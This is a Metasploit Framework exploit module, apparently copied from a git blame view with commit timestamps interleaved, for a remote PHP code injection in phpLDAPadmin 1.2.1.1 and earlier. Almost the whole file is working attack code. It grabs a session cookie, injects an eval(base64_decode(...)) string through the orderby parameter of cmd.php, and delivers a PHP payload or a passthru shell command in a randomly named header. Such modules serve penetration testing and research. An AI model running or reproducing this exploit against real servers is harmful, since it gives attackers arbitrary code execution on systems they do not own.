2011-10-24 23:22:32 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-10-24 23:22:32 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability in the lib/functions.php that allows
|
2011-11-28 04:42:59 +00:00
|
|
|
attackers input parsed directly to the create_function() php function. A patch was
|
2011-10-24 23:22:32 +00:00
|
|
|
issued that uses a whitelist regex expression to check the user supplied input
|
|
|
|
before being parsed to the create_function() call.
|
|
|
|
},
|
|
|
|
'Author' =>
|
2011-11-06 22:02:26 +00:00
|
|
|
[
|
2011-12-29 16:57:00 +00:00
|
|
|
'EgiX <n0b0d13s[at]gmail.com>', # original discovery/poc
|
|
|
|
'mr_me <steventhomasseeley[at]gmail.com>', # msf
|
|
|
|
'TecR0c <roccogiovannicalvi[at]gmail.com >', # msf
|
2011-10-24 23:22:32 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['BID', '50331'],
|
|
|
|
['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],
|
|
|
|
['URL', 'http://www.exploit-db.com/exploits/18021/'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 4000,
|
|
|
|
'Keys' => ['php'],
|
|
|
|
},
|
|
|
|
'Platform' => ['php'],
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DisclosureDate' => 'Oct 24 2011',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
uri = ''
|
|
|
|
uri << datastore['URI']
|
|
|
|
uri << '/' if uri[-1,1] != '/'
|
|
|
|
uri << 'index.php'
|
|
|
|
|
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => uri,
|
|
|
|
}, 3)
|
|
|
|
|
|
|
|
if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_session
|
|
|
|
uri = ''
|
|
|
|
uri << datastore['URI']
|
|
|
|
uri << '/' if uri[-1,1] != '/'
|
|
|
|
uri << 'index.php'
|
|
|
|
|
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => uri,
|
|
|
|
}, 3)
|
|
|
|
|
2011-10-25 16:19:55 +00:00
|
|
|
if (res.nil? or not res.headers['Set-Cookie'])
|
2011-10-24 23:22:32 +00:00
|
|
|
print_error("Could not generate a valid session")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
return res.headers['Set-Cookie']
|
|
|
|
end
|
|
|
|
|
2011-10-25 05:25:39 +00:00
|
|
|
def cleanup
|
|
|
|
# We may not be using php/exe again, so clear the CMD option
|
|
|
|
if datastore['CMD']
|
|
|
|
datastore['CMD'] = nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2011-10-24 23:22:32 +00:00
|
|
|
def exploit
|
|
|
|
# if we are using the exec CMD stager
|
2011-10-25 05:25:39 +00:00
|
|
|
# important to check which php functions are disabled
|
2011-10-24 23:22:32 +00:00
|
|
|
if datastore['CMD']
|
2011-10-25 16:04:33 +00:00
|
|
|
p = "passthru(\"%s\");" % datastore['CMD']
|
|
|
|
p = Rex::Text.encode_base64(p)
|
2011-10-24 23:22:32 +00:00
|
|
|
else
|
|
|
|
p = Rex::Text.encode_base64(payload.encoded)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Generate some random strings
|
|
|
|
hidden_header = rand_text_alpha_upper(6)
|
|
|
|
fake_func_name = rand_text_alpha_upper(2)
|
|
|
|
|
|
|
|
# build sttack string
|
|
|
|
php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
|
|
|
|
data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
|
|
|
|
session = get_session
|
|
|
|
|
|
|
|
uri = ''
|
|
|
|
uri << datastore['URI']
|
|
|
|
uri << '/' if uri[-1,1] != '/'
|
|
|
|
uri << 'cmd.php'
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => uri,
|
|
|
|
'data' => data,
|
|
|
|
'headers' =>
|
|
|
|
{
|
|
|
|
"#{hidden_header}" => p,
|
|
|
|
'Cookie' => session,
|
|
|
|
'Connection' => 'Close',
|
|
|
|
},
|
|
|
|
}, 3)
|
|
|
|
|
|
|
|
print_status("%s" % res.body) if datastore['CMD']
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|